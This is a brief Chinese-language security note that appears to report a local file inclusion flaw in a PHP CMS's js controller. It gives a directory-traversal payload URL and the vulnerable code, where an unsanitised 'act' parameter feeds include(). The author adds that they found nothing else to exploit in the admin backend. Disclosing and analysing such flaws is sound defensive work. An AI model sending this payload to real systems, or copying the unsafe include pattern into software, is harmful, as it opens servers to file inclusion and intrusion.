http://127.0.0.1/index.php?c=js&f=index&act=/../123

看代码：

app\www\control\js.php
function index_f()
        {
                $act = $this->trans_lib->safe("act");
                if(file_exists(ROOT_JS.$act.".php"))
                {
                        include(ROOT_JS.$act.".php");
                }
                else
                {
                        echo "ERROR";
                }
                exit();
        }

    刚看了一下后台，没发现可利用地方，虽然已经达成加载全局函数条件。